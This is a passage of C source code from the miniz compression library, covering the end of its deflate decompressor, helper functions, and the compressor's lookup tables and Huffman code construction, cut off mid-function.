continue; } if (0 == (tree_cur = pTable->m_look_up[rev_code & (TINFL_FAST_LOOKUP_SIZE - 1)])) { pTable->m_look_up[rev_code & (TINFL_FAST_LOOKUP_SIZE - 1)] = (mz_int16)tree_next; tree_cur = tree_next; tree_next -= 2; } rev_code >>= (TINFL_FAST_LOOKUP_BITS - 1); for (j = code_size; j > (TINFL_FAST_LOOKUP_BITS + 1); j--) { tree_cur -= ((rev_code >>= 1) & 1); if (!pTable->m_tree[-tree_cur - 1]) { pTable->m_tree[-tree_cur - 1] = (mz_int16)tree_next; tree_cur = tree_next; tree_next -= 2; } else tree_cur = pTable->m_tree[-tree_cur - 1]; } tree_cur -= ((rev_code >>= 1) & 1); pTable->m_tree[-tree_cur - 1] = (mz_int16)sym_index; } if (r->m_type == 2) { for (counter = 0; counter < (r->m_table_sizes[0] + r->m_table_sizes[1]); ) { mz_uint s; TINFL_HUFF_DECODE(16, dist, &r->m_tables[2]); if (dist < 16) { r->m_len_codes[counter++] = (mz_uint8)dist; continue; } if ((dist == 16) && (!counter)) { TINFL_CR_RETURN_FOREVER(17, TINFL_STATUS_FAILED); } num_extra = "\02\03\07"[dist - 16]; TINFL_GET_BITS(18, s, num_extra); s += "\03\03\013"[dist - 16]; TINFL_MEMSET(r->m_len_codes + counter, (dist == 16) ? r->m_len_codes[counter - 1] : 0, s); counter += s; } if ((r->m_table_sizes[0] + r->m_table_sizes[1]) != counter) { TINFL_CR_RETURN_FOREVER(21, TINFL_STATUS_FAILED); } TINFL_MEMCPY(r->m_tables[0].m_code_size, r->m_len_codes, r->m_table_sizes[0]); TINFL_MEMCPY(r->m_tables[1].m_code_size, r->m_len_codes + r->m_table_sizes[0], r->m_table_sizes[1]); } } for ( ; ; ) { mz_uint8 *pSrc; for ( ; ; ) { if (((pIn_buf_end - pIn_buf_cur) < 4) || ((pOut_buf_end - pOut_buf_cur) < 2)) { TINFL_HUFF_DECODE(23, counter, &r->m_tables[0]); if (counter >= 256) break; while (pOut_buf_cur >= pOut_buf_end) { TINFL_CR_RETURN(24, TINFL_STATUS_HAS_MORE_OUTPUT); } *pOut_buf_cur++ = (mz_uint8)counter; } else { int sym2; mz_uint code_len; #if TINFL_USE_64BIT_BITBUF if (num_bits < 30) { bit_buf |= (((tinfl_bit_buf_t)MZ_READ_LE32(pIn_buf_cur)) << num_bits); pIn_buf_cur += 4; num_bits += 32; } #else if (num_bits < 15) { bit_buf |= (((tinfl_bit_buf_t)MZ_READ_LE16(pIn_buf_cur)) << num_bits); pIn_buf_cur += 2; num_bits += 16; } #endif if ((sym2 = r->m_tables[0].m_look_up[bit_buf & (TINFL_FAST_LOOKUP_SIZE - 1)]) >= 0) code_len = sym2 >> 9; else { code_len = TINFL_FAST_LOOKUP_BITS; do { sym2 = r->m_tables[0].m_tree[~sym2 + ((bit_buf >> code_len++) & 1)]; } while (sym2 < 0); } counter = sym2; bit_buf >>= code_len; num_bits -= code_len; if (counter & 256) break; #if !TINFL_USE_64BIT_BITBUF if (num_bits < 15) { bit_buf |= (((tinfl_bit_buf_t)MZ_READ_LE16(pIn_buf_cur)) << num_bits); pIn_buf_cur += 2; num_bits += 16; } #endif if ((sym2 = r->m_tables[0].m_look_up[bit_buf & (TINFL_FAST_LOOKUP_SIZE - 1)]) >= 0) code_len = sym2 >> 9; else { code_len = TINFL_FAST_LOOKUP_BITS; do { sym2 = r->m_tables[0].m_tree[~sym2 + ((bit_buf >> code_len++) & 1)]; } while (sym2 < 0); } bit_buf >>= code_len; num_bits -= code_len; pOut_buf_cur[0] = (mz_uint8)counter; if (sym2 & 256) { pOut_buf_cur++; counter = sym2; break; } pOut_buf_cur[1] = (mz_uint8)sym2; pOut_buf_cur += 2; } } if ((counter &= 511) == 256) break; num_extra = s_length_extra[counter - 257]; counter = s_length_base[counter - 257]; if (num_extra) { mz_uint extra_bits; TINFL_GET_BITS(25, extra_bits, num_extra); counter += extra_bits; } TINFL_HUFF_DECODE(26, dist, &r->m_tables[1]); num_extra = s_dist_extra[dist]; dist = s_dist_base[dist]; if (num_extra) { mz_uint extra_bits; TINFL_GET_BITS(27, extra_bits, num_extra); dist += extra_bits; } dist_from_out_buf_start = pOut_buf_cur - pOut_buf_start; if ((dist > dist_from_out_buf_start) && (decomp_flags & TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF)) { TINFL_CR_RETURN_FOREVER(37, TINFL_STATUS_FAILED); } pSrc = pOut_buf_start + ((dist_from_out_buf_start - dist) & out_buf_size_mask); if ((MZ_MAX(pOut_buf_cur, pSrc) + counter) > pOut_buf_end) { while (counter--) { while (pOut_buf_cur >= pOut_buf_end) { TINFL_CR_RETURN(53, TINFL_STATUS_HAS_MORE_OUTPUT); } *pOut_buf_cur++ = pOut_buf_start[(dist_from_out_buf_start++ - dist) & out_buf_size_mask]; } continue; } #if MINIZ_USE_UNALIGNED_LOADS_AND_STORES else if ((counter >= 9) && (counter <= dist)) { const mz_uint8 *pSrc_end = pSrc + (counter & ~7); do { ((mz_uint32 *)pOut_buf_cur)[0] = ((const mz_uint32 *)pSrc)[0]; ((mz_uint32 *)pOut_buf_cur)[1] = ((const mz_uint32 *)pSrc)[1]; pOut_buf_cur += 8; } while ((pSrc += 8) < pSrc_end); if ((counter &= 7) < 3) { if (counter) { pOut_buf_cur[0] = pSrc[0]; if (counter > 1) pOut_buf_cur[1] = pSrc[1]; pOut_buf_cur += counter; } continue; } } #endif do { pOut_buf_cur[0] = pSrc[0]; pOut_buf_cur[1] = pSrc[1]; pOut_buf_cur[2] = pSrc[2]; pOut_buf_cur += 3; pSrc += 3; } while ((int)(counter -= 3) > 2); if ((int)counter > 0) { pOut_buf_cur[0] = pSrc[0]; if ((int)counter > 1) pOut_buf_cur[1] = pSrc[1]; pOut_buf_cur += counter; } } } } while (!(r->m_final & 1)); if (decomp_flags & TINFL_FLAG_PARSE_ZLIB_HEADER) { TINFL_SKIP_BITS(32, num_bits & 7); for (counter = 0; counter < 4; ++counter) { mz_uint s; if (num_bits) TINFL_GET_BITS(41, s, 8); else TINFL_GET_BYTE(42, s); r->m_z_adler32 = (r->m_z_adler32 << 8) | s; } } TINFL_CR_RETURN_FOREVER(34, TINFL_STATUS_DONE); TINFL_CR_FINISH common_exit: r->m_num_bits = num_bits; r->m_bit_buf = bit_buf; r->m_dist = dist; r->m_counter = counter; r->m_num_extra = num_extra; r->m_dist_from_out_buf_start = dist_from_out_buf_start; *pIn_buf_size = pIn_buf_cur - pIn_buf_next; *pOut_buf_size = pOut_buf_cur - pOut_buf_next; if ((decomp_flags & (TINFL_FLAG_PARSE_ZLIB_HEADER | TINFL_FLAG_COMPUTE_ADLER32)) && (status >= 0)) { const mz_uint8 *ptr = pOut_buf_next; size_t buf_len = *pOut_buf_size; mz_uint32 i, s1 = r->m_check_adler32 & 0xffff, s2 = r->m_check_adler32 >> 16; size_t block_len = buf_len % 5552; while (buf_len) { for (i = 0; i + 7 < block_len; i += 8, ptr += 8) { s1 += ptr[0], s2 += s1; s1 += ptr[1], s2 += s1; s1 += ptr[2], s2 += s1; s1 += ptr[3], s2 += s1; s1 += ptr[4], s2 += s1; s1 += ptr[5], s2 += s1; s1 += ptr[6], s2 += s1; s1 += ptr[7], s2 += s1; } for ( ; i < block_len; ++i) s1 += *ptr++, s2 += s1; s1 %= 65521U, s2 %= 65521U; buf_len -= block_len; block_len = 5552; } r->m_check_adler32 = (s2 << 16) + s1; if ((status == TINFL_STATUS_DONE) && (decomp_flags & TINFL_FLAG_PARSE_ZLIB_HEADER) && (r->m_check_adler32 != r->m_z_adler32)) status = TINFL_STATUS_ADLER32_MISMATCH; } return status; } // Higher level helper functions. void *tinfl_decompress_mem_to_heap(const void *pSrc_buf, size_t src_buf_len, size_t *pOut_len, int flags) { tinfl_decompressor decomp; void *pBuf = NULL, *pNew_buf; size_t src_buf_ofs = 0, out_buf_capacity = 0; *pOut_len = 0; tinfl_init(&decomp); for ( ; ; ) { size_t src_buf_size = src_buf_len - src_buf_ofs, dst_buf_size = out_buf_capacity - *pOut_len, new_out_buf_capacity; tinfl_status status = tinfl_decompress(&decomp, (const mz_uint8*)pSrc_buf + src_buf_ofs, &src_buf_size, (mz_uint8*)pBuf, pBuf ? (mz_uint8*)pBuf + *pOut_len : NULL, &dst_buf_size, (flags & ~TINFL_FLAG_HAS_MORE_INPUT) | TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF); if ((status < 0) || (status == TINFL_STATUS_NEEDS_MORE_INPUT)) { MZ_FREE(pBuf); *pOut_len = 0; return NULL; } src_buf_ofs += src_buf_size; *pOut_len += dst_buf_size; if (status == TINFL_STATUS_DONE) break; new_out_buf_capacity = out_buf_capacity * 2; if (new_out_buf_capacity < 128) new_out_buf_capacity = 128; pNew_buf = MZ_REALLOC(pBuf, new_out_buf_capacity); if (!pNew_buf) { MZ_FREE(pBuf); *pOut_len = 0; return NULL; } pBuf = pNew_buf; out_buf_capacity = new_out_buf_capacity; } return pBuf; } size_t tinfl_decompress_mem_to_mem(void *pOut_buf, size_t out_buf_len, const void *pSrc_buf, size_t src_buf_len, int flags) { tinfl_decompressor decomp; tinfl_status status; tinfl_init(&decomp); status = tinfl_decompress(&decomp, (const mz_uint8*)pSrc_buf, &src_buf_len, (mz_uint8*)pOut_buf, (mz_uint8*)pOut_buf, &out_buf_len, (flags & ~TINFL_FLAG_HAS_MORE_INPUT) | TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF); return (status != TINFL_STATUS_DONE) ? TINFL_DECOMPRESS_MEM_TO_MEM_FAILED : out_buf_len; } int tinfl_decompress_mem_to_callback(const void *pIn_buf, size_t *pIn_buf_size, tinfl_put_buf_func_ptr pPut_buf_func, void *pPut_buf_user, int flags) { int result = 0; tinfl_decompressor decomp; mz_uint8 *pDict = (mz_uint8*)MZ_MALLOC(TINFL_LZ_DICT_SIZE); size_t in_buf_ofs = 0, dict_ofs = 0; if (!pDict) return TINFL_STATUS_FAILED; tinfl_init(&decomp); for ( ; ; ) { size_t in_buf_size = *pIn_buf_size - in_buf_ofs, dst_buf_size = TINFL_LZ_DICT_SIZE - dict_ofs; tinfl_status status = tinfl_decompress(&decomp, (const mz_uint8*)pIn_buf + in_buf_ofs, &in_buf_size, pDict, pDict + dict_ofs, &dst_buf_size, (flags & ~(TINFL_FLAG_HAS_MORE_INPUT | TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF))); in_buf_ofs += in_buf_size; if ((dst_buf_size) && (!(*pPut_buf_func)(pDict + dict_ofs, (int)dst_buf_size, pPut_buf_user))) break; if (status != TINFL_STATUS_HAS_MORE_OUTPUT) { result = (status == TINFL_STATUS_DONE); break; } dict_ofs = (dict_ofs + dst_buf_size) & (TINFL_LZ_DICT_SIZE - 1); } MZ_FREE(pDict); *pIn_buf_size = in_buf_ofs; return result; } // ------------------- Low-level Compression (independent from all decompression API's) // Purposely making these tables static for faster init and thread safety. static const mz_uint16 s_tdefl_len_sym[256] = { 257,258,259,260,261,262,263,264,265,265,266,266,267,267,268,268,269,269,269,269,270,270,270,270,271,271,271,271,272,272,272,272, 273,273,273,273,273,273,273,273,274,274,274,274,274,274,274,274,275,275,275,275,275,275,275,275,276,276,276,276,276,276,276,276, 277,277,277,277,277,277,277,277,277,277,277,277,277,277,277,277,278,278,278,278,278,278,278,278,278,278,278,278,278,278,278,278, 279,279,279,279,279,279,279,279,279,279,279,279,279,279,279,279,280,280,280,280,280,280,280,280,280,280,280,280,280,280,280,280, 281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281,281, 282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282,282, 283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283,283, 284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,284,285 }; static const mz_uint8 s_tdefl_len_extra[256] = { 0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, 4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4, 5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5, 5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,0 }; static const mz_uint8 s_tdefl_small_dist_sym[512] = { 0,1,2,3,4,4,5,5,6,6,6,6,7,7,7,7,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11, 11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13, 13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15, 15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,16,16,16,16, 16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16, 16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16, 16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,17,17,17,17,17,17, 17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17, 17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17, 17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17 }; static const mz_uint8 s_tdefl_small_dist_extra[512] = { 0,0,0,0,1,1,1,1,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5, 5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6, 6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6, 6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7 }; static const mz_uint8 s_tdefl_large_dist_sym[128] = { 0,0,18,19,20,20,21,21,22,22,22,22,23,23,23,23,24,24,24,24,24,24,24,24,25,25,25,25,25,25,25,25,26,26,26,26,26,26,26,26,26,26,26,26, 26,26,26,26,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28, 28,28,28,28,28,28,28,28,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29 }; static const mz_uint8 s_tdefl_large_dist_extra[128] = { 0,0,8,8,9,9,9,9,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12, 12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13, 13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13 }; // Radix sorts tdefl_sym_freq[] array by 16-bit key m_key. Returns ptr to sorted values. typedef struct { mz_uint16 m_key, m_sym_index; } tdefl_sym_freq; static tdefl_sym_freq* tdefl_radix_sort_syms(mz_uint num_syms, tdefl_sym_freq* pSyms0, tdefl_sym_freq* pSyms1) { mz_uint32 total_passes = 2, pass_shift, pass, i, hist[256 * 2]; tdefl_sym_freq* pCur_syms = pSyms0, *pNew_syms = pSyms1; MZ_CLEAR_OBJ(hist); for (i = 0; i < num_syms; i++) { mz_uint freq = pSyms0[i].m_key; hist[freq & 0xFF]++; hist[256 + ((freq >> 8) & 0xFF)]++; } while ((total_passes > 1) && (num_syms == hist[(total_passes - 1) * 256])) total_passes--; for (pass_shift = 0, pass = 0; pass < total_passes; pass++, pass_shift += 8) { const mz_uint32* pHist = &hist[pass << 8]; mz_uint offsets[256], cur_ofs = 0; for (i = 0; i < 256; i++) { offsets[i] = cur_ofs; cur_ofs += pHist[i]; } for (i = 0; i < num_syms; i++) pNew_syms[offsets[(pCur_syms[i].m_key >> pass_shift) & 0xFF]++] = pCur_syms[i]; { tdefl_sym_freq* t = pCur_syms; pCur_syms = pNew_syms; pNew_syms = t; } } return pCur_syms; } // tdefl_calculate_minimum_redundancy() originally written by: Alistair Moffat, [email protected], Jyrki Katajainen, [email protected], November 1996. static void tdefl_calculate_minimum_redundancy(tdefl_sym_freq *A, int n) { int root, leaf, next, avbl, used, dpth; if (n==0) return; else if (n==1) { A[0].m_key = 1; return; } A[0].m_key += A[1].m_key; root = 0; leaf = 2; for (next=1; next < n-1; next++) { if (leaf>=n || A[root].m_key<A[leaf].m_key) { A[next].m_key = A[root].m_key; A[root++].m_key = (mz_uint16)next; } else A[next].m_key = A[leaf++].m_key; if (leaf>=n || (root<next && A[root].m_key<A[leaf].m_key)) { A[next].m_key = (mz_uint16)(A[next].m_key + A[root].m_key); A[root++].m_key = (mz_uint16)next; } else A[next].m_key = (mz_uint16)(A[next].m_key + A[leaf++].m_key); } A[n-2].m_key = 0; for (next=n-3; next>=0; next--) A[next].m_key = A[A[next].m_key].m_key+1; avbl = 1; used = dpth = 0; root = n-2; next = n-1; while (avbl>0) { while (root>=0 && (int)A[root].m_key==dpth) { used++; root--; } while (avbl>used) { A[next--].m_key = (mz_uint16)(dpth); avbl--; } avbl = 2*used; dpth++; used = 0; } } // Limits canonical Huffman code table's max code size. enum { TDEFL_MAX_SUPPORTED_HUFF_CODESIZE = 32 }; static void tdefl_huffman_enforce_max_code_size(int *pNum_codes, int code_list_len, int max_code_size) { int i; mz_uint32 total = 0; if (code_list_len <= 1) return; for (i = max_code_size + 1; i <= TDEFL_MAX_SUPPORTED_HUFF_CODESIZE; i++) pNum_codes[max_code_size] += pNum_codes[i]; for (i = max_code_size; i > 0; i--) total += (((mz_uint32)pNum_codes[i]) << (max_code_size - i)); while (total != (1UL << max_code_size)) { pNum_codes[max_code_size]--; for (i = max_code_size - 1; i > 0; i--) if (pNum_codes[i]) { pNum_codes[i]--; pNum_codes[i + 1] += 2; break; } total--; } } static void tdefl_optimize_huffman_table(tdefl_compressor *d, int table_num, int table_len, int code_size_limit, int static_table) { int i, j, l, num_codes[1 + TDEFL_MAX_SUPPORTED_HUFF_CODESIZE]; mz_uint next_code[TDEFL_MAX_SUPPORTED_HUFF_CODESIZE + 1]; MZ_CLEAR_OBJ(num_codes); if (static_table) { for (i = 0; i < table_len; i++) num_codes[d->m_huff_code_sizes[table_num][i]]++; } else { tdefl_sym_freq syms0[TDEFL_MAX_HUFF_SYMBOLS], syms1[TDEFL_MAX_HUFF_SYMBOLS], *pSyms; int num_used_syms = 0; const mz_uint16 *pSym_count = &d->m_huff_count[table_num][0]; for (i = 0; i < table_len; i++) if (pSym_count[i]) { syms0[num_used_syms].m_key = (mz_uint16)pSym_count[i]; syms0[num_used_syms++].m_sym_index = (mz_uint16)i; } pSyms = tdefl_radix_sort_syms(num_used_syms, syms0, syms1); tdefl_calculate_minimum_redundancy(pSyms, num_used_syms); for (i = 0; i < num_used_syms; i++) num_codes[pSyms[i].m_key]++; tdefl_huffman_enforce_max_code_size(num_codes, num_used_syms, code_size_limit); MZ_CLEAR_OBJ(d->m_huff_code_sizes[table_num]); MZ_CLEAR_OBJ(d->m_huff_codes[table_num]); for (i = 1, j = num_used_syms; i <= code_size_limit; i++) for (l = num_codes[i]; l > 0; l--) d->m_huff_code_sizes[table_num][pSyms[--j].m_sym_index] = (mz_uint8)(i); } next_code[1] = 0; for (j = 0, i = 2; i <= code_size_limit; i++) next_code[i] = j = ((j + num_codes[i - 1]) << 1); for (i = 0; i < table_len; i++) { mz_uint rev_code = 0, code, code_size; if ((code_size = d->m_huff_code_sizes[table_num][i]) == 0) continue; code = next_code[code_size]++; for (l = code_size; l > 0; l--, code >>= 1) rev_code = (rev_code << 1) | (code & 1); d->m_huff_codes[table_num][i] = (mz_uint16)rev_code; } } #define TDEFL_PUT_BITS(b, l) do { \ mz_uint bits = b; mz_uint len = l; MZ_ASSERT(bits <= ((1U << len) - 1U)); \ d->m_bit_buffer |= (bits << d->m_bits_in); d->m_bits_in += len; \ while (d->m_bits_in >= 8) { \ if (d->m_pOutput_buf < d->m_pOutput_buf_end) \ *d->m_pOutput_buf++ = (mz_uint8)(d->m_bit_buffer); \ d->m_bit_buffer >>= 8; \ d->m_bits_in -= 8; \ } \ } MZ_MACRO_END #define TDEFL_RLE_PREV_CODE_SIZE() { if (rle_repeat_count) { \ if (rle_repeat_count < 3) { \ d->m_huff_count[2][prev_code_size] = (mz_uint16)(d->m_huff_count[2][prev_code_size] + rle_repeat_count); \ while (rle_repeat_count--) packed_code_sizes[num_packed_code_sizes++] = prev_code_size; \ } else { \ d->m_huff_count[2][16] = (mz_uint16)(d->m_huff_count[2][16] + 1); packed_code_sizes[num_packed_code_sizes++] = 16; packed_code_sizes[num_packed_code_sizes++] = (mz_uint8)(rle_repeat_count - 3); \ } rle_repeat_count = 0; } } #define TDEFL_RLE_ZERO_CODE_SIZE() { if (rle_z_count) { \ if (rle_z_count < 3) { \ d->m_huff_count[2][0] = (mz_uint16)(d->m_huff_count[2][0] + rle_z_count); while (rle_z_count--) packed_code_sizes[num_packed_code_sizes++] = 0; \ } else if (rle_z_count <= 10) { \ d->m_huff_count[2][17] = (mz_uint16)(d->m_huff_count[2][17] + 1); packed_code_sizes[num_packed_code_sizes++] = 17; packed_code_sizes[num_packed_code_sizes++] = (mz_uint8)(rle_z_count - 3); \ } else { \ d->m_huff_count[2][18] = (mz_uint16)(d->m_huff_count[2][18] + 1); packed_code_sizes[num_packed_code_sizes++] = 18; packed_code_sizes[num_packed_code_sizes++] = (mz_uint8)(rle_z_count - 11); \ } rle_z_count = 0; } } static mz_uint8 s_tdefl_packed_code_size_syms_swizzle[] = { 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15 }; static void tdefl_start_dynamic_block(tdefl_compressor *d) { int num_lit_codes, num_dist_codes, num_bit_lengths; mz_uint i, total_code_sizes_to_pack, num_packed_code_sizes, rle_z_count, rle_repeat_count, packed_code_sizes_index; mz_uint8 code_sizes_to_pack[TDEFL_MAX_HUFF_SYMBOLS_0 + TDEFL_MAX_HUFF_SYMBOLS_1], packed_code_sizes[TDEFL_MAX_HUFF_SYMBOLS_0 + TDEFL_MAX_HUFF_SYMBOLS_1], prev_code_size = 0xFF; d->m_huff_count[0][256] = 1; tdefl_optimize_huffman_table(d, 0, TDEFL_MAX_HUFF_SYMBOLS_0, 15, MZ_FALSE); tdefl_optimize_huffman_table(d, 1, TDEFL_MAX_HUFF_SYMBOLS_1, 15, MZ_FALSE); for (num_lit_codes = 286; num_lit_codes > 257; num_lit_codes--) if (d->m_huff_code_sizes[0][num_lit_codes - 1]) break; for (num_dist_codes = 30; num_dist_codes > 1; num_dist_codes--) if (d->m_huff_code_sizes[1][num_dist_codes - 1]) break; memcpy(code_sizes_to_pack, &d->m_huff_code_sizes[0][0], num_lit_codes); memcpy(code_sizes_to_pack + num_lit_codes, &d->m_huff_code_sizes[1][0], num_dist_codes); total_code_sizes_to_pack = num_lit_codes + num_dist_codes; num_packed_code_sizes = 0; rle_z_count = 0; rle_repeat_count = 0; memset(&d->m_huff_count[2][0], 0, sizeof(d->m_huff_count[2][0]) * TDEFL_MAX_HUFF_SYMBOLS_2); for (i = 0; i < total_code_sizes_to_pack; i++) { mz_uint8 code_size = code_sizes_to_pack[i]; if (!code_size) { TDEFL_RLE_PREV_CODE_SIZE(); if (++rle_z_count == 138) { TDEFL_RLE_ZERO_CODE_SIZE(); } } else { TDEFL_RLE_ZERO_CODE_SIZE(); if (code_size != prev_code_size) { TDEFL_RLE_PREV_CODE_SIZE(); d->m_huff_count[2][code_size] = (mz_uint16)(d->m_huff_count[2][code_size] + 1); packed_code_sizes[num_packed_code_sizes++] = code_size; } else if (++rle_repeat_count == 6) { TDEFL_RLE_PREV_CODE_SIZE(); } } prev_code_size = code_size; } if (rle_repeat_count) { TDEFL_RLE_PREV_CODE_SIZE(); } else { TDEFL_RLE_ZERO_CODE_SIZE(); } tdefl_optimize_huffman_table(d, 2, TDEFL_MAX_HUFF_SYMBOLS_2, 7, MZ_FALSE); TDEFL_PUT_BITS(2, 2); TDEFL_PUT_BITS(num_lit_codes - 257, 5); TDEFL_PUT_BITS(num_dist_codes - 1, 5); for (num_bit_lengths = 18; num_bit_lengths >= 0; num_bit_lengths--) if (d->m_huff_code_sizes[2][s_tdefl_packed_code_size_syms_swizzle[num_bit_lengths]]) break; num_bit_lengths = MZ_MAX(4, (num_bit_lengths + 1)); TDEFL_PUT_BITS(num_bit_lengths - 4, 4); for (i = 0; (int)i < num_bit_lengths; i++) TDEFL_PUT_BITS(d->m_huff_code_sizes[2][s_tdefl_packed_code_size_syms_swizzle[i]], 3); for (packed_code_sizes_index = 0; packed_code_sizes_index < num_packed_code_sizes; ) { mz_uint code = packed_code_sizes[packed_code_sizes_index++]; MZ_ASSERT(code < TDEFL_MAX_HUFF_SYMBOLS_2); TDEFL_PUT_BITS(d->m_huff_codes[2][code], d->m_huff_code_sizes[2][code]); if (code >= 16) TDEFL_PUT_BITS(packed_code_sizes[packed_code_sizes_index++], "\02\03\07"[code - 16]); } } static void tdefl_start_static_block(tdefl_compressor *d) { mz_uint i; mz_uint8 *p = &d->m_huff_code_sizes[0][0]; for (i = 0; i <= 143; ++i) *p++ = 8; for ( ; i <= 255; ++i) *p++ = 9; for ( ; i <= 279; ++i) *p++ = 7; for ( ; i <= 287; ++i) *p++ = 8; memset(d->m_huff_code_sizes[1], 5, 32); tdefl_optimize_huffman_table(d, 0, 288, 15, MZ_TRUE); tdefl_optimize_huffman_table(d, 1, 32, 15, MZ_TRUE); TDEFL_PUT_BITS(1, 2); } static const mz_uint mz_bitmasks[17] = { 0x0000, 0x0001, 0x0003, 0x0007, 0x000F, 0x001F, 0x003F, 0x007F, 0x00FF, 0x01FF, 0x03FF, 0x07FF, 0x0FFF, 0x1FFF, 0x3FFF, 0x7FFF, 0xFFFF }; #if MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN && MINIZ_HAS_64BIT_REGISTERS static mz_bool tdefl_compress_lz_codes(tdefl_compressor 